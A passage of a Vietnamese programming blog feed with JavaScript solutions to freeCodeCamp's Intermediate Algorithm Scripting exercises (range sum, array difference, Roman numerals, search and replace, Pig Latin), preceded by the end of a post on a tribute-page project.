href="#k%E1%BA%BFt-lu%E1%BA%ADn" aria-label="kết luận permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kết luận</h2> <p>Trên đây là toàn bộ những điều mình rút ra được từ project <strong>Build a tribute page</strong> trên freeCodeCamp. Hiện tại, project này đang có một issue khi scroll trang web trên trình duyệt của facebook. Mình sẽ sửa và cập nhật lại code sớm nhất có thể.</p> <p>Không biết bạn đánh giá như thế nào? Vui lòng để lại bình luận phía dưới để mọi người cùng trao đổi nhé!</p> <p>Xin chào và hẹn gặp lại bạn ở <a href="/lap-trinh-javascript-voi-fcc-personal-portfolio/">bài viết tiếp theo</a>, thân ái!</p> <h2 id="tham-khảo" style="position:relative;"><a href="#tham-kh%E1%BA%A3o" aria-label="tham khảo permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tham khảo</h2> <ul> <li><a href="https://css-tricks.com/snippets/jquery/smooth-scrolling/">Smooth Scrolling</a></li> <li><a href="https://getbootstrap.com/docs/3.3/components/">Components Bootstrap 3.3</a></li> <li><a href="https://codepen.io/completejavascript/full/baOYpa/">Build a tribute page full preview</a></li> </ul>[email protected]<![CDATA[Lập trình JavaScript với FCC - Intermediate Algorithm Scripting]]><![CDATA[Bài viết trước mình đã chia sẻ với bạn các bài toán thuộc chủ đề Basic Algorithm Scripting. Nếu bạn đã đọc qua thì có thể thấy rằng, đó đều là những bài toán khá dễ. Ngược lại, các…]]>https://completejavascript.com/lap-trinh-javascript-voi-fcc-intermediate-algorithm-scripting/https://completejavascript.com/lap-trinh-javascript-voi-fcc-intermediate-algorithm-scripting/<![CDATA[Thuật toán]]><![CDATA[FCC]]>Wed, 07 Mar 2018 13:59:55 GMT<p>Bài viết trước mình đã chia sẻ với bạn các bài toán thuộc chủ đề <a href="/lap-trinh-javascript-voi-fcc-basic-algorithm-scripting/">Basic Algorithm Scripting</a>. Nếu bạn đã đọc qua thì có thể thấy rằng, đó đều là những bài toán khá dễ. Ngược lại, các bài toán hôm nay sẽ khó hơn một chút. Vì chúng thuộc chủ đề <strong>Intermediate Algorithm Scripting</strong>.</p> <p>Cũng như bài viết trước, mình chia sẻ với bạn các link bài viết hữu ích nên đọc trước khi đi vào lời giải các bài toán:</p> <ul> <li><a href="/kieu-du-lieu-trong-javascript/">Các kiểu dữ liệu trong JavaScript</a></li> <li><a href="/array-la-gi-array-trong-javascript/">JavaScript Array cơ bản</a></li> <li><a href="/javascript-foreach-la-cai-quai-gi/">JavaScript forEach là cái quái gì?</a></li> <li><a href="/sap-xep-mang-trong-javascript/">Array Sorting – vấn đề muôn thuở</a></li> <li><a href="/object-la-gi-object-trong-javascript/">JavaScript Object – last but not least</a></li> <li><a href="/tim-hieu-regular-expression-javascript/">Tìm hiểu Regular Expression JavaScript</a></li> </ul> <h2 id="intermediate-algorithm-scripting---sum-all-numbers-in-a-range" style="position:relative;"><a href="#intermediate-algorithm-scripting---sum-all-numbers-in-a-range" aria-label="intermediate algorithm scripting sum all numbers in a range permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Intermediate Algorithm Scripting - Sum All Numbers in a Range</h2> <p>Tính tổng các số trong một khoảng cho trước.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">sumAll</span><span class="token punctuation">(</span><span class="token parameter">arr</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">var</span> min <span class="token operator">=</span> Math<span class="token punctuation">.</span><span class="token function">min</span><span class="token punctuation">(</span>arr<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">,</span> arr<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">var</span> max <span class="token operator">=</span> Math<span class="token punctuation">.</span><span class="token function">max</span><span class="token punctuation">(</span>arr<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">,</span> arr<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">var</span> ans <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">var</span> i <span class="token operator">=</span> min<span class="token punctuation">;</span> i <span class="token operator">&lt;=</span> max<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> ans <span class="token operator">+=</span> i<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">return</span> ans<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">sumAll</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Tham khảo:</p> <ul> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/max">Math.max()</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/min">Math.min()</a></li> </ul> <h2 id="intermediate-algorithm-scripting---diff-two-arrays" style="position:relative;"><a href="#intermediate-algorithm-scripting---diff-two-arrays" aria-label="intermediate algorithm scripting diff two arrays permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Intermediate Algorithm Scripting - Diff Two Arrays </h2> <p>Kiểm tra hai mảng cho trước và trả về mảng mới chứa những phần tử thuộc chỉ một trong hai mảng đó.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">diffArray</span><span class="token punctuation">(</span><span class="token parameter">arr1<span class="token punctuation">,</span> arr2</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">function</span> <span class="token function">isExist</span><span class="token punctuation">(</span><span class="token parameter">item<span class="token punctuation">,</span> arr</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">var</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> arr<span class="token punctuation">.</span>length<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>arr<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">===</span> item<span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token boolean">true</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">var</span> newArr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">;</span> arr1<span class="token punctuation">.</span><span class="token function">forEach</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">val</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">isExist</span><span class="token punctuation">(</span>val<span class="token punctuation">,</span> arr2<span class="token punctuation">)</span><span class="token punctuation">)</span> newArr<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span>val<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> arr2<span class="token punctuation">.</span><span class="token function">forEach</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">val</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">isExist</span><span class="token punctuation">(</span>val<span class="token punctuation">,</span> arr1<span class="token punctuation">)</span><span class="token punctuation">)</span> newArr<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span>val<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> newArr<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">diffArray</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Tham khảo:</p> <ul> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/forEach">Array.prototype.forEach()</a></li> </ul> <h2 id="intermediate-algorithm-scripting---roman-numeral-converter" style="position:relative;"><a href="#intermediate-algorithm-scripting---roman-numeral-converter" aria-label="intermediate algorithm scripting roman numeral converter permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Intermediate Algorithm Scripting - Roman Numeral Converter</h2> <p>Convert số cho trước sang số La Mã.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">convertToRoman</span><span class="token punctuation">(</span><span class="token parameter">num</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">var</span> table <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token number">1000</span><span class="token operator">:</span> <span class="token string">"M"</span><span class="token punctuation">,</span> <span class="token number">900</span><span class="token operator">:</span> <span class="token string">"CM"</span><span class="token punctuation">,</span> <span class="token number">500</span><span class="token operator">:</span> <span class="token string">"D"</span><span class="token punctuation">,</span> <span class="token number">400</span><span class="token operator">:</span> <span class="token string">"CD"</span><span class="token punctuation">,</span> <span class="token number">100</span><span class="token operator">:</span> <span class="token string">"C"</span><span class="token punctuation">,</span> <span class="token number">90</span><span class="token operator">:</span> <span class="token string">"XC"</span><span class="token punctuation">,</span> <span class="token number">50</span><span class="token operator">:</span> <span class="token string">"L"</span><span class="token punctuation">,</span> <span class="token number">40</span><span class="token operator">:</span> <span class="token string">"XL"</span><span class="token punctuation">,</span> <span class="token number">10</span><span class="token operator">:</span> <span class="token string">"X"</span><span class="token punctuation">,</span> <span class="token number">9</span><span class="token operator">:</span> <span class="token string">"IX"</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token operator">:</span> <span class="token string">"V"</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token operator">:</span> <span class="token string">"IV"</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token operator">:</span> <span class="token string">"I"</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">var</span> keys <span class="token operator">=</span> Object<span class="token punctuation">.</span><span class="token function">keys</span><span class="token punctuation">(</span>table<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">sort</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">a<span class="token punctuation">,</span> b</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> b <span class="token operator">-</span> a<span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">var</span> ans <span class="token operator">=</span> <span class="token string">""</span><span class="token punctuation">;</span> keys<span class="token punctuation">.</span><span class="token function">forEach</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">key</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">while</span> <span class="token punctuation">(</span>num <span class="token operator">>=</span> key<span class="token punctuation">)</span> <span class="token punctuation">{</span> ans <span class="token operator">+=</span> table<span class="token punctuation">[</span>key<span class="token punctuation">]</span><span class="token punctuation">;</span> num <span class="token operator">-=</span> key<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> ans<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">convertToRoman</span><span class="token punctuation">(</span><span class="token number">36</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Tham khảo:</p> <ul> <li><a href="https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Object/keys">Object.keys()</a></li> <li><a href="https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Array/sort">Array.prototype.sort()</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/forEach">Array.prototype.forEach()</a></li> </ul> <h2 id="intermediate-algorithm-scripting---wherefore-art-thou" style="position:relative;"><a href="#intermediate-algorithm-scripting---wherefore-art-thou" aria-label="intermediate algorithm scripting wherefore art thou permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Intermediate Algorithm Scripting - Wherefore art thou</h2> <p>Duyệt mảng của các <a href="/object-la-gi-object-trong-javascript/">object</a> và trả về một mảng bao gồm các object chứa thuộc tính trùng khớp với thành phần cho trước.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">whatIsInAName</span><span class="token punctuation">(</span><span class="token parameter">collection<span class="token punctuation">,</span> source</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">var</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">;</span> collection<span class="token punctuation">.</span><span class="token function">forEach</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">item</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">var</span> key <span class="token keyword">in</span> source<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>item<span class="token punctuation">.</span><span class="token function">hasOwnProperty</span><span class="token punctuation">(</span>key<span class="token punctuation">)</span> <span class="token operator">||</span> item<span class="token punctuation">[</span>key<span class="token punctuation">]</span> <span class="token operator">!==</span> source<span class="token punctuation">[</span>key<span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token keyword">return</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> arr<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span>item<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> arr<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">whatIsInAName</span><span class="token punctuation">(</span> <span class="token punctuation">[</span> <span class="token punctuation">{</span> <span class="token literal-property property">first</span><span class="token operator">:</span> <span class="token string">"Romeo"</span><span class="token punctuation">,</span> <span class="token literal-property property">last</span><span class="token operator">:</span> <span class="token string">"Montague"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">first</span><span class="token operator">:</span> <span class="token string">"Mercutio"</span><span class="token punctuation">,</span> <span class="token literal-property property">last</span><span class="token operator">:</span> <span class="token keyword">null</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">first</span><span class="token operator">:</span> <span class="token string">"Tybalt"</span><span class="token punctuation">,</span> <span class="token literal-property property">last</span><span class="token operator">:</span> <span class="token string">"Capulet"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">last</span><span class="token operator">:</span> <span class="token string">"Capulet"</span> <span class="token punctuation">}</span> <span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Tham khảo:</p> <ul> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/forEach">Array.prototype.forEach()</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty">Object.prototype.hasOwnProperty()</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/push">Array.prototype.push()</a></li> </ul> <h2 id="intermediate-algorithm-scripting---search-and-replace" style="position:relative;"><a href="#intermediate-algorithm-scripting---search-and-replace" aria-label="intermediate algorithm scripting search and replace permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Intermediate Algorithm Scripting - Search and Replace</h2> <p>Thực hiện tìm và thay thế trên một string sử dụng tham số cho trước, sau đó trả về một string mới.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">myReplace</span><span class="token punctuation">(</span><span class="token parameter">str<span class="token punctuation">,</span> before<span class="token punctuation">,</span> after</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">var</span> beforeFirst <span class="token operator">=</span> before<span class="token punctuation">.</span><span class="token function">charAt</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">var</span> afterChars <span class="token operator">=</span> after<span class="token punctuation">.</span><span class="token function">split</span><span class="token punctuation">(</span><span class="token string">""</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">var</span> answer <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">var</span> words <span class="token operator">=</span> str<span class="token punctuation">.</span><span class="token function">split</span><span class="token punctuation">(</span><span class="token string">" "</span><span class="token punctuation">)</span><span class="token punctuation">;</span> words<span class="token punctuation">.</span><span class="token function">forEach</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">word</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>word <span class="token operator">===</span> before<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>beforeFirst <span class="token operator">>=</span> <span class="token string">"A"</span> <span class="token operator">&amp;&amp;</span> beforeFirst <span class="token operator">&lt;=</span> <span class="token string">"Z"</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> afterChars<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> afterChars<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token function">toUpperCase</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>beforeFirst <span class="token operator">>=</span> <span class="token string">"a"</span> <span class="token operator">&amp;&amp;</span> beforeFirst <span class="token operator">&lt;=</span> <span class="token string">"z"</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> afterChars<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> afterChars<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token function">toLowerCase</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> answer<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span>afterChars<span class="token punctuation">.</span><span class="token function">join</span><span class="token punctuation">(</span><span class="token string">""</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span> answer<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span>word<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> answer<span class="token punctuation">.</span><span class="token function">join</span><span class="token punctuation">(</span><span class="token string">" "</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">myReplace</span><span class="token punctuation">(</span><span class="token string">"A quick brown fox jumped over the lazy dog"</span><span class="token punctuation">,</span> <span class="token string">"jumped"</span><span class="token punctuation">,</span> <span class="token string">"leaped"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Tham khảo:</p> <ul> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/charAt">String.prototype.charAt()</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/split">String.prototype.split()</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/join">Array.prototype.join()</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/push">Array.prototype.push()</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/toUpperCase">String.prototype.toUpperCase()</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/toLowerCase">String.prototype.toLowerCase()</a></li> </ul> <h2 id="intermediate-algorithm-scripting---pig-latin" style="position:relative;"><a href="#intermediate-algorithm-scripting---pig-latin" aria-label="intermediate algorithm scripting pig latin permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Intermediate Algorithm Scripting - Pig Latin</h2> <p>Dịch string cho trước sang ngôn ngữ <strong>Latin Lợn</strong>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">translatePigLatin</span><span class="token punctuation">(</span><span class="token parameter">str</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">var</span> firstVowel <span class="token operator">=</span> str<span class="token punctuation">.</span><span class="token function">search</span><span class="token punctuation">(</span><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">[ueoai]</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>firstVowel <span class="token operator">></span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">var</span> firstConsonant <span class="token operator">=</span> str<span class="token punctuation">.</span><span class="token function">substr</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> firstVowel<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">var</span> others <span class="token operator">=</span> str<span class="token punctuation">.</span><span class="token function">substr</span><span class="token punctuation">(</span>firstVowel<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> others <span class="token operator">+</span> firstConsonant <span class="token operator">+</span> <span class="token string">"ay"</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">return</span> str <span class="token operator">+</span> <span class="token string">"way"</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">translatePigLatin</span><span class="token punctuation">(</span><span class="token string">"consonant"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Tham khảo:</p> <ul> <li><a href="/tim-hieu-regular-expression-javascript/">Tìm hiểu Regular Expression JavaScript</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/substr">String.prototype.substr()</a></li> </ul> <h2 id="intermediate-algorithm-scripting---dna-pairing" style="position:relative;"><a href="#intermediate-algorithm-scripting---dna-pairing" aria-label="intermediate algorithm scripting dna pairing permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 